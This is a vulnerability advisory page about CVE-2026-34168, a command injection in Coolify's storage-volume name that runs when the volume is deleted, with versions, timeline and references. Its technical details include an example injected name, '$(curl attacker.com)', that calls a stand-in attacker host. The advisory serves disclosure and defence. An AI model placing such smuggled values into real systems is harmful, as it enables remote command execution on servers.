# CVE-2026-34168: Coollabs Coolify OS command injection in LocalPersistentVolume name

Source: https://junglewise.ai/threats/cve-2026-34168-coollabs-coolify-os-command-injection-in-localpersistentvolume  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-07-07. Updated: 2026-07-07  
License: CC BY 4.0 with a link back

CVE-2026-34168 · Severity: high · CVSS 8.8 · Published 2026-07-07

Coolify is an open-source platform used to manage and deploy servers, applications, and databases. A security flaw allows an authorized user to execute malicious commands on the underlying servers by providing a specially crafted name for a storage volume. When that volume is later deleted, the system runs the malicious commands, potentially allowing an attacker to take full control of the managed infrastructure.

Technologies: [Coollabs Coolify](https://junglewise.ai/threats/technologies/coolify). Vendors: [Coollabs](https://junglewise.ai/threats/vendors/coollabs).

## Quick answers

**Is CVE-2026-34168 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-34168 being exploited in the wild.

**How severe is CVE-2026-34168?** High severity, with a CVSS score of 8.8, published 7 July 2026.

**Which products and versions are affected?** Coollabs Coolify < 4.0.0-beta.471.

**Is there a fix for CVE-2026-34168?** A patch was published on 2026-03-26: Fix committed to repository Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-34168 attacked?** It is attacked over the network, in a network appliance.

**Am I affected by CVE-2026-34168?** Check whether you run Coollabs Coolify at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## Technical details

An OS command injection vulnerability exists in Coolify due to improper neutralization of special elements in the 'LocalPersistentVolume.name' field. The application interpolates this field directly into shell commands (e.g., 'docker volume rm -f $storage->name') without using 'escapeshellarg()' or equivalent sanitization. An authenticated attacker can use the API to create a storage volume with a name containing shell metacharacters (e.g., '$(curl attacker.com)'). When the resource is subsequently deleted, the 'DeleteService' action executes the injected commands on the managed server via 'instant_remote_process'. This issue is fixed in version 4.0.0-beta.471 by implementing proper shell escaping and input validation.

## Affected products

- coollabsio Coolify < 4.0.0-beta.471

## Timeline

- 2026-03-26: patched: Fix committed to repository
- 2026-07-02: advisory: GitHub Security Advisory published
- 2026-07-07: disclosed: CVE published to NVD

## References

- [https://github.com/coollabsio/coolify/commit/d2064dd4998694cda2eabd00149f7c4d1e94c699](https://github.com/coollabsio/coolify/commit/d2064dd4998694cda2eabd00149f7c4d1e94c699)
- [https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471](https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471)
- [https://github.com/coollabsio/coolify/security/advisories/GHSA-mh8x-fppq-cp77](https://github.com/coollabsio/coolify/security/advisories/GHSA-mh8x-fppq-cp77)

## Related threats

- [Coolify information disclosure via webhook enumeration](https://junglewise.ai/threats/cve-2026-121587-coolify-before-4-1-1-contains-an-information-disclosure)
- [Coollabsio Coolify path traversal in PostgreSQL init scripts](https://junglewise.ai/threats/cve-2026-42200-coollabsio-coolify-path-traversal-in-postgresql-init-scripts)
- [Coollabs Coolify insufficient session expiration for API tokens](https://junglewise.ai/threats/cve-2026-42172-coollabs-coolify-insufficient-session-expiration-for-api-tokens)
- [Coollabsio Coolify SSRF in S3 storage endpoint validation](https://junglewise.ai/threats/cve-2026-42147-coollabsio-coolify-ssrf-in-s3-storage-endpoint-validation)
- [Coolify account takeover via CSRF in invitation endpoint](https://junglewise.ai/threats/cve-2026-34171-coolify-account-takeover-via-csrf-in-invitation-endpoint)
